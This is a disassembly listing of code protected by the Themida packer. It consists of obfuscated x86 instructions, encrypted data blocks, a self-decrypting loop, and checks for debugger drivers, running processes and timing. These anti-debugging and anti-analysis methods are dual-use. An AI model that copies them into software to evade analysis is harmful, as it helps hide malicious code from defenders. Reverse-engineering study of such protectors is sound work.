dd 0A7B922B1h, 13DA0EE4h, 0B155E49Eh, 0CF0CBF76h, 0DE9108FAh
dd 0B107AE98h, 557191F7h, 58E3BD71h, 0EA29DBB3h, 0C26AF106h
dd 0A148CF8Bh, 28DC1BCDh, 25B4284Ch, 12894582h, 98E0845Eh
dd 70177044h, 0E7D4F0BEh, 12D4957Fh, 0BE7A569Dh, 84569537h
dd 2CD80FB5h, 99BDFAADh, 2B20FAC4h, 8ECA148Dh, 3A01D62Fh
dd 53E25697h, 0E6B874AFh, 8074AF53h, 530CC7A4h, 7A2BAA1Eh
dd 94B0E59Eh, 0A62CCB18h, 0E0503E07h, 0CBD7CB5h, 0D6D5A7CBh
dd 942DC03Ch, 1FA366D8h, 0F78072C0h, 2CAB577Bh, 0B08A3E73h
dd 0C067DBCEh, 0A37F8072h, 9120CAB6h, 0E7041D58h, 1A7Ah
dd 92458600h, 9A8CCD43h, 97C0C9C7h, 6B02F1B2h, 215FB68Eh
dd 0C7BBF29Ah, 32B68E6Bh, 52493D80h, 19B06499h, 4F463A75h
dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
dd 0CF554178h, 4EC81h, 2C890000h, 81E58924h, 4C5h, 4ED8300h
dd 5C242C87h, 5E08950h, 4, 42Dh, 24048700h, 243C895Ch
dd 1DF168h, 241C8900h, 480CBFh, 0F0E7812Dh, 55052243h
dd 0F14C28BDh, 81D5F772h, 2D52D8EDh, 0DC58176h, 81532C5Eh
dd 0E77D28F5h, 5DEF2994h, 13AA68h, 24248900h, 4240481h
dd 5B000000h, 24048157h, 3C381F2Bh, 5108438Fh, 381F2BB9h
dd 84B293Ch, 2434FF59h, 4C4835Bh
; ---------------------------------------------------------------------------
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5534D8
; ---------------------------------------------------------------------------
dd 4E7E9C50h, 87E2644Ah
db 0A0h, 0C1h, 0Ch
; ---------------------------------------------------------------------------
loc_5A3E3F: ; CODE XREF: Themida_:005A3224j
mov eax, 6158929h
add eax, ebp
loc_5A3E46: ; CODE XREF: Themida_:loc_5A321Fj
mov eax, ebx
lea ecx, [ebp+6158AA6h]
push 0
push esi
call sub_5A3E59
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A3E59 proc near ; CODE XREF: Themida_:005A3E51p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5A3E59 endp
; ---------------------------------------------------------------------------
leave
mov bh, 0DFh
dec ebp
xchg eax, ebp
jmp loc_5A3E85
; ---------------------------------------------------------------------------
db 0BDh
; ---------------------------------------------------------------------------
inc esi
push 5Fh
mov [edi-3Ah], bl
stosd
neg byte ptr [ebp+ebx*8-45h]
cmp [ecx+3B06E5E4h], ebx
loc_5A3E85: ; CODE XREF: Themida_:005A3E6Ej
mov edi, [ebp+6103009h]
mov [ebp+61009F5h], ecx
jp loc_5A3E9D
mov [ebp+6102845h], edx
loc_5A3E9D: ; CODE XREF: Themida_:005A3E91j
mov dword ptr [ebp+6102319h], 6F0Ch
call near ptr loc_5A3EB6+1
fstp dword ptr [esi+ecx+41h]
and [ebp-23h], ebx
xor cl, [edx-30h]
loc_5A3EB6: ; CODE XREF: Themida_:005A3EA7p
cmp al, 23h
xchg eax, ebp
mov eax, ds:5806100Ch
mov dword ptr [ebp+61022C1h], 0
jbe loc_5A3ED4
and edx, [ebp+61010F9h]
loc_5A3ED4: ; CODE XREF: Themida_:005A3EC8j
push dword ptr [ebp+610232Dh]
push 0
push eax
call sub_5A3EE5
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A3EE5 proc near ; CODE XREF: Themida_:005A3EDDp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5A3EE5 endp
; ---------------------------------------------------------------------------
jmp short loc_5A3F45
; ---------------------------------------------------------------------------
db 0EDh
dd 6ABF724Bh, 0D3E781AEh, 0FF1084E5h, 102DB995h, 6AF806h
dd 31C995FFh, 0C08B0610h, 69A479EBh, 0FC473DEEh, 1EB048A2h
dd 83E3CFD7h, 22FA2CDh, 0B1D28087h, 0A8DA9290h, 0A9BE38FFh
dd 0D051F969h, 0C2F707DDh, 0E242DBB4h, 0B3A438C5h
db 0F3h
; ---------------------------------------------------------------------------
loc_5A3F45: ; CODE XREF: Themida_:005A3EF5j
dec ecx
outsd
mov eax, 0E31C44C0h
mov esi, 0A78A82A2h
sub al, 32h
retn
; ---------------------------------------------------------------------------
jmp short loc_5A3FD0
; ---------------------------------------------------------------------------
db 0CCh
db 0D5h
dd 90F2358h, 9237AD0Ah, 9A689087h, 34913AFFh, 0E7A637D1h
dd 0AD866181h, 78A1C07Bh, 0FBF786DBh, 8D7A92F0h, 25B331Ah
dd 64F0DDFBh, 89F2BC10h, 7F066101h, 0E9E3D539h, 184h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 40C35747h, 5D0B9580h
dd 0F860508Fh, 0E961F38Bh, 5, 0A3AC0D8Fh, 0B58DF5F1h, 6158BC4h
dd 0E850006Ah
; ---------------------------------------------------------------------------
loc_5A3FD0: ; CODE XREF: Themida_:005A3F54j
add eax, [eax]
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
and [eax-3Dh], bl
pop eax
mov [esp+4], eax
add dword ptr [esp+4], 16h
inc eax
push eax
retn
; ---------------------------------------------------------------------------
pop edx
jmp short loc_5A405D
; ---------------------------------------------------------------------------
clc
jz loc_5A3FFF
pusha
jmp loc_5A3FFC
; ---------------------------------------------------------------------------
db 0D0h
dd 879AE082h
; ---------------------------------------------------------------------------
loc_5A3FFC: ; CODE XREF: Themida_:005A3FF2j
mov ah, 0A8h
popa
loc_5A3FFF: ; CODE XREF: Themida_:005A3FEBj
lea eax, [ebp+61354E6h]
jmp loc_5A4012
; ---------------------------------------------------------------------------
db 0C7h ; Ç
db 60h ; `
db 0E6h ; æ
db 51h ; Q
db 0A7h ; §
db 3Dh ; =
db 6
db 43h ; C
; ---------------------------------------------------------------------------
loc_5A4012: ; CODE XREF: Themida_:005A4005j
jmp loc_5A4023
; ---------------------------------------------------------------------------
db 78h
dd 720987F1h, 0D3DDC4E5h
db 0C6h, 47h, 0BFh
; ---------------------------------------------------------------------------
loc_5A4023: ; CODE XREF: Themida_:loc_5A4012j
call eax
cld
retn
; ---------------------------------------------------------------------------
pusha
mov bx, di
sbb bl, 0D6h
popa
mov cx, ds
push 0
push edi
call sub_5A403D
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A403D proc near ; CODE XREF: Themida_:005A4035p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5A403D endp
; ---------------------------------------------------------------------------
db 63h, 9Ah, 58h
dd 1337B4DEh, 7E9BBBAh, 0BE000000h
db 0F3h
; ---------------------------------------------------------------------------
loc_5A405D: ; CODE XREF: Themida_:005A3FE8j
push 0FFFFFF9Ah
stc
in al, dx
setalc
test cl, 4
jz loc_5A40D4
pusha
call near ptr loc_5A4082+1
push edi
mov bl, 0C1h
jge short loc_5A40A0
pop ebp
aad 6Fh
xchg eax, esp
and ah, [ecx+61h]
out 40h, al ; Timer 8253-5 (AT: 8254.2).
rcl byte ptr [edx], 1
loc_5A4082: ; CODE XREF: Themida_:005A406Cp
sub esp, [esi-75h]
rcr dword ptr [ebx-17h], 1
sldt word ptr [eax]
add [edi+53h], ch
mov edx, [eax+44h]
lodsb
or bl, dh
or al, 0Bh
sub cl, [ebx+618480C9h]
mov edi, ebx
mov ecx, ebx
loc_5A40A0: ; CODE XREF: Themida_:005A4075j
xor al, al
loc_5A40A2: ; CODE XREF: Themida_:005A40A3j
scasb
jnz short loc_5A40A2
sub ecx, edi
neg ecx
sub edi, ecx
mov edx, edi
dec ecx
mov ebx, ecx
jmp short $+2
VMMCall VMM_GetDDBList
loc_5A40B8: ; CODE XREF: Themida_:005A40D2j
or eax, eax
jz short loc_5A40D4
lea esi, [eax+0Ch]
mov edi, edx
mov ecx, ebx
loc_5A40C3: ; CODE XREF: Themida_:005A40C7j
cmpsb
jnz short loc_5A40D0
dec ecx
jnz short loc_5A40C3
mov eax, 1
jmp short locret_5A40D9
; ---------------------------------------------------------------------------
loc_5A40D0: ; CODE XREF: Themida_:005A40C4j
mov eax, [eax]
jmp short loc_5A40B8
; ---------------------------------------------------------------------------
loc_5A40D4: ; CODE XREF: Themida_:005A4065j
; Themida_:005A40BAj
mov eax, 0
locret_5A40D9: ; CODE XREF: Themida_:005A40CEj
iret
; ---------------------------------------------------------------------------
jns loc_5A40E7
jno loc_5A40E7
cld
loc_5A40E7: ; CODE XREF: Themida_:005A40DAj
; Themida_:005A40E0j
jbe loc_5A4104
jmp loc_5A4104
; ---------------------------------------------------------------------------
dw 0EF64h
dd 34AB4C9Ah, 9E1FF8F3h, 0E8DF6CDAh, 0CA353CA2h
; ---------------------------------------------------------------------------
loc_5A4104: ; CODE XREF: Themida_:loc_5A40E7j
; Themida_:005A40EDj
jbe loc_5A4118
jmp loc_5A4118
; ---------------------------------------------------------------------------
db 0BAh
dd 0E3296BE6h, 60F61735h
; ---------------------------------------------------------------------------
loc_5A4118: ; CODE XREF: Themida_:loc_5A4104j
; Themida_:005A410Aj
mov dword ptr [ebp+6158C49h], 1013Fh
call sub_5A4139
imul esp, [ebp-28h], 0B852FFC2h
dec ebp
enter 0FFFFA254h, 70h
mov eax, ds:0BC99E188h
movsd
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5A4139 proc near ; CODE XREF: Themida_:005A4122p
; sub_5A4151+1Bj
jmp sub_5A4151
sub_5A4139 endp
; ---------------------------------------------------------------------------
dw 1C5Eh
dd 0CB78311Dh, 7CFDC8ECh, 0B2FA50C1h, 0F7B5399Fh
; ---------------------------------------------------------------------------
pusha
; =============== S U B R O U T I N E =======================================
sub_5A4151 proc near ; CODE XREF: sub_5A4139j
pop eax
add eax, 5D86h
mov dx, 1581h
push 1723h
mov ebx, esi
pop esi
call sub_5A416E
xor ch, [edi-15h]
jbe short near ptr sub_5A4139+3
sub_5A4151 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5A416E proc near ; CODE XREF: sub_5A4151+13p
mov dx, 7F6Fh
pop edi
mov ecx, [eax]
call near ptr locret_5A4186+3
fcom dword ptr [ecx+21h]
int 68h ; - APPC/PC
mov cl, 0Eh
mov esp, 2E56EF50h
locret_5A4186: ; CODE XREF: sub_5A416E+7p
db 26h
retf 0F9Ah
sub_5A416E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 685h
dd 0F000000h, 8Ah, 0C1815F00h, 13E56F2Ch, 12BF66h, 96ABF181h
dd 0B70F41A1h, 0D4E981D0h, 6610A78Eh, 89B2F2BAh, 0BE808h
dd 9A300000h, 153276B7h, 0A3D8AC74h, 8DE281BDh, 5B0D82D2h
dd 0F04E883h, 88Eh, 2870F00h, 8B000000h, 1EE83DEh, 27850Fh
dd 8D0F0000h, 0Bh, 89E28160h, 0F279C08h, 0E961D8B7h, 29h
dd 23B35497h, 4349AFF8h, 7BF963DBh, 9598FBCh, 0DA81666Ch
dd 5CE9B03Ch, 1BFFFFFFh, 8031B5ABh, 0A0D1275Ch, 46DA38ABh
dd 13CE909h, 4Fh dup(0)
dd 0BD830000h, 6101AD9h, 0B6840F01h, 6A000005h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 0FBD2C350h, 137FE00Dh, 1800F22h, 0FC000000h, 0AE9h
dd 3E780E00h, 1BA1759Ah, 0C6A3EFE3h, 1023E585h, 0DE94306h
dd 7A000000h, 0A594280Bh, 0AB9FB2Eh, 557036FDh, 4E8h, 0A5D0F500h
dd 0EE9ECh, 8D2B0000h, 31FF77C1h, 53CCF8AAh, 1FA1D196h
dd 5E950h, 12E40000h, 8B6B0A97h, 50042444h, 68D0F52h, 0F000000h
dd 8Ah, 0F310F00h, 687h, 860F00h, 5A000000h, 0E9008B58h
dd 10h, 0A36B7DAh, 0A825C8C4h, 4E08C30h, 0A17BAC25h, 4244489h
dd 7E95250h, 60000000h, 0C3AC2D3Bh, 310F8A3Dh, 52505250h
dd 585A310Fh, 5250310Fh, 585A310Fh, 585A585Ah, 1800F58h
dd 0FC000000h, 1D45B5FFh, 6A0610h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 29392BC3h, 58D0E6F1h
dd 6660F914h, 0FF32DBFh, 286h, 615B5100h, 0FE9h, 249DF600h
dd 828A8F17h, 35377662h, 0E589FED3h, 858A858Dh, 0E9600613h
dd 9, 8A9D141Ah, 35C57108h, 61F88AD9h, 0BB60D0FFh, 273297E1h
dd 0AE9h, 0ED609400h, 42AC56BDh, 61E085BDh, 8B98589h, 0FC600610h
dd 0C78B6652h, 85C6615Fh, 61023E5h, 4E8F850h, 56000000h
dd 0E9A8ADADh, 12h, 918B5298h, 9E6B7DBBh, 9E302A4Eh, 632BB765h
dd 60505089h, 24448B61h, 0E9525004h, 6, 0E928A61Eh, 310FE1C4h
dd 0F525060h, 8B585A31h, 585A61FAh, 5660008Bh, 77C7F6BEh
dd 89615857h, 0E9042444h, 0Ch, 12A2EEB4h, 430E8ED5h, 5C881676h
dd 1820F58h, 0F8000000h, 1D45B5FFh, 6A0610h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 840F56C3h
dd 13h, 0EE9h, 0C81D9D00h, 0A38DCD04h, 69F57B20h, 8D9DFABDh
dd 13858A85h, 0D0FFF506h, 8A0F60h, 60000000h, 88A0BA66h
dd 6135CE80h, 21858961h, 0F061020h, 0C8Dh, 6890F00h, 0F000000h
dd 8Bh, 2FE46800h, 10E9D6FCh, 99000000h, 0FAA7C8E6h, 7B32943Fh
dd 0D5F15FFh, 81B1717Ch, 87CB2434h, 6A2673h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 1F092AC3h
dd 6003FFF9h, 0FE8h, 0FA4DE200h, 2DE29A8Dh, 52A3B76Dh
dd 0DEBE6794h, 8B535EF9h, 0FC615ADFh, 1D45B5FFh, 6A0610h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 51F72CC3h, 0F94CB0E6h, 8160CC9Eh, 0FE693EAh, 0AE845h
dd 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah, 5962E880h, 6E86061h
dd 0C7000000h, 0E76F3Eh, 0D8BF0F23h, 2870F5Bh, 8B000000h
dd 858D61DAh, 613858Ah, 6E9h, 5889DB00h, 0FF2A8AA7h, 0C880FD0h
dd 0F000000h, 68Ah, 840F00h, 89000000h, 10061D85h, 85C6FC06h
dd 61023E5h, 51006A50h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 4A64323Fh, 142F6852h, 8F0FDDF4h
dd 10h, 0A860Fh, 5E90000h, 46000000h, 1B65EA77h, 79243481h
dd 6A4A68C8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 3D7EC352h, 6660D657h, 0FE9CA8Bh
dd 0EC000000h, 0B395F859h, 2A5FFC12h, 429AED57h, 0FF61756Bh
dd 101499B5h, 0CE906h, 37DB0000h, 0CB9BD300h, 94FA7AE1h
dd 858D218Fh, 6103A32h, 6810F60h, 0F000000h, 8Ch, 0D68B6600h
dd 0F9D0FF61h, 0FE9h, 0C7ECF800h, 0C78E2C23h, 2E645665h
dd 25B92CC4h, 2F958589h, 0E8600610h, 0Ch, 792E935Dh, 0C2BAA86Fh
dd 0FCEB6D19h, 6159F18Bh, 10E9h, 0A752DC00h, 256D5BE4h
dd 0A661A1BBh, 2EBE3779h, 187E9FEh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0DA8EE9C3h
dd 6167CBCh, 1839BE60h, 8D0F3AD2h, 5, 0D0DF3EBEh, 66606112h
dd 0B966D08Bh, 5061CFB2h, 8D0F5250h, 0Dh, 8E9h, 0F3239C00h
dd 4EA252B9h, 50310F46h, 0F616052h, 0F525031h, 5A585A31h
dd 89585A58h, 0AE9242Ch, 6C000000h, 0C72824E0h, 127BA7EFh
dd 6AEC8B14h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 0E95EC355h, 0Ch, 0AE7CB40Dh, 21063BA3h
dd 61B76BF4h, 0FFCC483h, 880h, 28B0F00h, 60000000h, 890F6061h
dd 1, 0E8F8h, 815A0000h, 1593FBEAh, 0FC45C706h, 0
; ---------------------------------------------------------------------------
cmp dword ptr [edx+6101AD9h], 1
jz loc_5A4919
push edx
push 0
push 0Fh
call dword ptr [edx+61008B9h]
pop edx
mov [edx+6158DBFh], eax
lea ebx, [edx+6158DC3h]
push edx
mov dword ptr [ebx], 128h
push ebx
push eax
call dword ptr [edx+6102021h]
pop edx
loc_5A48A9: ; CODE XREF: Themida_:005A48D3j
; Themida_:005A4907j
push edx
lea ebx, [edx+6158DC3h]
push ebx
push dword ptr [edx+6158DBFh]
call dword ptr [edx+6102F95h]
pop edx
or eax, eax
jz short loc_5A4912
lea ebx, [edx+6158DC3h]
lea edi, [ebx+24h]
xor ecx, ecx
loc_5A48CD: ; CODE XREF: Themida_:005A48DDj
cmp ecx, 104h
jz short loc_5A48A9
inc ecx
cmp dword ptr [ecx+edi], 4558452Eh
jnz short loc_5A48CD
lea esi, [ecx+edi]
sub esi, [ebp+0Ch]
lea edi, [edx+610025Dh]
mov ecx, [ebp+0Ch]
rep movsb
xor al, al
stosb
push edx
push dword ptr [ebp+8]
lea eax, [edx+610025Dh]
push eax
call dword ptr [edx+610061Dh]
pop edx
or eax, eax
jnz short loc_5A48A9
mov dword ptr [ebp-4], 1
jmp short loc_5A4919
; ---------------------------------------------------------------------------
loc_5A4912: ; CODE XREF: Themida_:005A48C0j
mov dword ptr [ebp-4], 0
loc_5A4919: ; CODE XREF: Themida_:005A487Bj
; Themida_:005A4910j
popa
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
cmc
jno loc_5A4929
stc
loc_5A4929: ; CODE XREF: Themida_:005A4922j
mov edx, edx
lea ecx, [ebp+6159583h]
push 0
push ebp
call sub_5A493C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A493C proc near ; CODE XREF: Themida_:005A4934p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5A493C endp
; ---------------------------------------------------------------------------
sub bh, [edi+7Dh]
xchg eax, ds:0C9EC8031h
or [ebp+6100DE1h], edx
push esi
ja loc_5A4967
sbb bx, 0F56h
loc_5A4967: ; CODE XREF: Themida_:005A495Cj
pop edi
mov [ebp+61009F5h], ecx
movsx edx, ax
mov dword ptr [ebp+6102319h], 5D64h
push 0
push ebx
call sub_5A4986
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A4986 proc near ; CODE XREF: Themida_:005A497Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5A4986 endp
; ---------------------------------------------------------------------------
dw 0ACF7h
dd 5BCC606Dh, 0E4DE8166h, 0DBBF0F4Ah, 22C185C7h, 610h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 9290B1C3h, 0BD89A8DAh, 61021BDh, 11EDB5FFh
dd 0FFF80610h, 102DB995h, 0A1950106h, 6A061005h, 0C995FF00h
dd 8B061031h, 0EF68EBC0h, 19D2F850h, 4FBFFD9Dh, 618AEC0Dh
dd 9EC500B9h, 0CD8426E0h, 74D0F20Dh, 0F616EC39h, 0E6EACE11h
dd 0C00FE4DBh, 102FA0F5h, 0E8D85BD1h, 0C04AC2E5h, 0E582AA6h
dd 4D7100A5h, 5AE8E707h, 445105E7h, 0E93D30DFh, 7F65D6C7h
dd 1923220Eh, 0E904246Ch, 3774B6D8h, 7AAF5353h, 208AA5B8h
dd 918F8458h, 424EE637h, 0E8D07A97h, 0Ch, 2685D34Ah, 0D1015957h
dd 0B3A39FAh, 0BE9h, 507D1E00h, 7941F6C6h, 0ECB22988h
dd 41F1815Fh, 81501048h, 648DC7h, 0B5BD8900h, 0BA06101Dh
dd 0
dd 893A34FFh, 101E018Dh, 0C3815B06h, 673B0C5Ch, 2318589h
dd 0F3810610h, 54C1FF32h, 1358D8Bh, 0EB810610h, 75731C93h
dd 10E8h, 7ADC9300h, 0D60656B7h, 8EE11756h, 0F8B072A2h
dd 11E9B2h, 55CD0000h, 74B18E8Eh, 674B728h, 0CD17E2D4h
dd 5E3AC00Eh, 8F21B453h, 13E81704h, 0B8000000h, 7A038179h
dd 0A14D33B4h, 0B7C260C3h, 0C1C6B52Eh, 816689FAh, 5EB492E8h
dd 286DBD29h, 0EA830610h, 9D8D3103h, 4A06102Eh, 0B458501h
dd 0FA810610h, 0FFFF9C6Ch, 14850Fh, 8B0F0000h, 2, 22E9CF8Bh
dd 0CF000000h, 0C4576B54h, 0F38BDD47h, 0FFFF4BE9h, 91A8CCFFh
dd 0CCFB333Ah, 2E7E7C64h, 0E1D5C7BEh, 22A560DCh, 798D8D88h
dd 89061597h, 101D1D8Dh, 0F58D8906h, 6A061009h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 5F98C356h, 1985C756h, 54061023h, 0F000073h, 85C7C6BFh
dd 61022C1h, 0
; ---------------------------------------------------------------------------
mov esi, 7F04F66Bh
push dword ptr [ebp+6102821h]
push 0
push ebp
call sub_5A4BBA
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A4BBA proc near ; CODE XREF: Themida_:005A4BB2p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5A4BBA endp
; ---------------------------------------------------------------------------
ror byte ptr [esi], 0DDh
and eax, 0FFB94FABh
xchg eax, ebp
mov ecx, 306102Dh
mov ebp, 61005EDh
push 0
loc_5A4BDF: ; DATA XREF: Themida_:0054D188o
call dword ptr [ebp+61031C9h]
mov eax, eax
jmp short loc_5A4C33
; ---------------------------------------------------------------------------
align 2
dw 3BB3h
dd 53139E76h, 8B0E26Fh, 10966097h, 1F6BFCDEh, 0A7004B2Bh
dd 0D26B51A2h, 0E6FF763Ah, 8CEFE606h, 0C9040411h, 28AE13ABh
dd 803F0621h, 50178F5Ah, 221291F0h, 0DCFAF2FFh, 4C18C913h
dd 44F90221h, 8A748BC7h
db 79h, 43h, 0Bh
; ---------------------------------------------------------------------------
loc_5A4C33: ; CODE XREF: Themida_:005A4BE7j
call sub_5A4C3D
mov ebx, 811C0242h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5A4C3D proc near ; CODE XREF: Themida_:loc_5A4C33p
jmp sub_5A4C50
sub_5A4C3D endp
; ---------------------------------------------------------------------------
dw 6988h
; ---------------------------------------------------------------------------
stosb
add [eax+edx*2-1CB50861h], cl
int 3 ; Trap to Debugger
dec esp
push ebp
xchg eax, edi
; =============== S U B R O U T I N E =======================================
sub_5A4C50 proc near ; CODE XREF: sub_5A4C3Dj
pop ecx
add ecx, 72E6h
mov esi, 0
or [ebp+610123Dh], edx
loc_5A4C62: ; CODE XREF: sub_5A4C50+5Dj
push dword ptr [esi+ecx]
jg $+6
pop eax
add eax, 71A1358Eh
mov dx, cx
xor eax, 97D2A09h
add [ebp+610024Dh], edi
sub eax, 1A2C2F9Bh
or edi, [ebp+61001DDh]
mov [ecx+esi], eax
mov edx, [ebp+6100BD9h]
jle loc_5A4C9E
mov bl, 71h
loc_5A4C9E: ; CODE XREF: sub_5A4C50+46j
sub esi, 4
ja $+6
cmp esi, 0FFFF8DA8h
jnz loc_5A4C62
call near ptr loc_5A4CC1+2
into
and [edi+esi*2-70039D80h], ebp
cdq
loc_5A4CC1: ; CODE XREF: sub_5A4C50+63p
bound ebx, [ebx+20859D8Bh]
sub_5A4C50 endp ; sp-analysis failed
adc [esi], al
pop edi
jmp loc_5A4E97
; ---------------------------------------------------------------------------
dd offset loc_418886+2
dd offset loc_418886+2
dd offset loc_418886+2
dd offset loc_418886+2
dd offset loc_418886+2
dd offset loc_418886+2
dd offset loc_418886+2
dd offset loc_418886+2
align 10h
dd 4 dup(0)
dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
dd 888888h, 0
dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h
dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
dd 88080888h, 888888h, 0
dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h
dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
dd 3000000h, 14h dup(0)
dd 0C2000000h, 8D29000Ch, 1000075h, 11h dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5A4E97: ; CODE XREF: Themida_:005A4CCAj
jmp loc_5A51EF
; =============== S U B R O U T I N E =======================================
sub_5A4E9C proc near ; DATA XREF: Themida_:0054E8FCo
push ebp
call $+5
pop ebp
sub ebp, 6159A37h
pusha
mov dword ptr [ebp+6159984h], 0
cmp word ptr [esi], 0A166h
jnz loc_5A4ECE
mov dword ptr [ebp+6159988h], 6
jmp loc_5A4EF2
; ---------------------------------------------------------------------------
loc_5A4ECE: ; CODE XREF: sub_5A4E9C+1Dj
lea eax, [ebp+615998Ch]
push eax
lea eax, [ebp+61599DCh]
push eax
push esi
push 0
call sub_5A4F01
add esp, 10h
and eax, 0FFh
mov [ebp+6159988h], eax
loc_5A4EF2: ; CODE XREF: sub_5A4E9C+2Dj
popa
add esi, [ebp+6159988h]
mov eax, [ebp+6159984h]
pop ebp
retn
sub_5A4E9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5A4F01 proc near ; CODE XREF: sub_5A4E9C+43p
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_615997C = dword ptr 6159984h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_5], 0
and [ebp+var_6], 0
xor dl, dl
and [ebp+var_1], dl
cmp [ebp+arg_0], 0
jz loc_5A4F2E
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
mov [ebp+var_2], 1
jmp loc_5A4F3A
; ---------------------------------------------------------------------------
loc_5A4F2E: ; CODE XREF: sub_5A4F01+16j
and [ebp+var_3], 0
and [ebp+var_2], 0
mov [ebp+var_4], 4
loc_5A4F3A: ; CODE XREF: sub_5A4F01+28j
push ebx
push esi
push edi
loc_5A4F3D: ; CODE XREF: sub_5A4F01+91j
; sub_5A4F01+ADj ...
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_5A4F50: ; CODE XREF: sub_5A4F01+76j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 6159AEEh
lea ebp, [ebp+6159964h]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_5A4F7D
inc cl
cmp cl, 0Bh
jb loc_5A4F50
loc_5A4F7D: ; CODE XREF: sub_5A4F01+6Bj
cmp cl, 0Bh
jz loc_5A4FDA
cmp al, 66h
jnz loc_5A4FBB
cmp [ebp+var_5], 0
jnz loc_5A4F3D
cmp [ebp+var_3], 0
mov [ebp+var_5], 1
jnz loc_5A4FB3
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
jmp loc_5A4F3D
; ---------------------------------------------------------------------------
loc_5A4FB3: ; CODE XREF: sub_5A4F01+9Fj
and [ebp+var_3], 0
mov [ebp+var_4], 4
loc_5A4FBB: ; CODE XREF: sub_5A4F01+87j
cmp al, 67h
jnz loc_5A4F3D
cmp [ebp+var_6], 0
jnz loc_5A4F3D
xor [ebp+var_2], 1
mov [ebp+var_6], 1
jmp loc_5A4F3D
; ---------------------------------------------------------------------------
loc_5A4FDA: ; CODE XREF: sub_5A4F01+7Fj
mov ebx, [ebp+arg_C]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5A5006
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5A500B
; ---------------------------------------------------------------------------
loc_5A5006: ; CODE XREF: sub_5A4F01+E4j
movzx edi, al
shr edi, 1
loc_5A500B: ; CODE XREF: sub_5A4F01+100j
push ebp
call $+5
pop ebp
sub ebp, 6159BA6h
lea ebp, [ebp+6159864h]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp+var_7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp+var_6], bl
jz loc_5A518D
mov ebx, [ebp+arg_4]
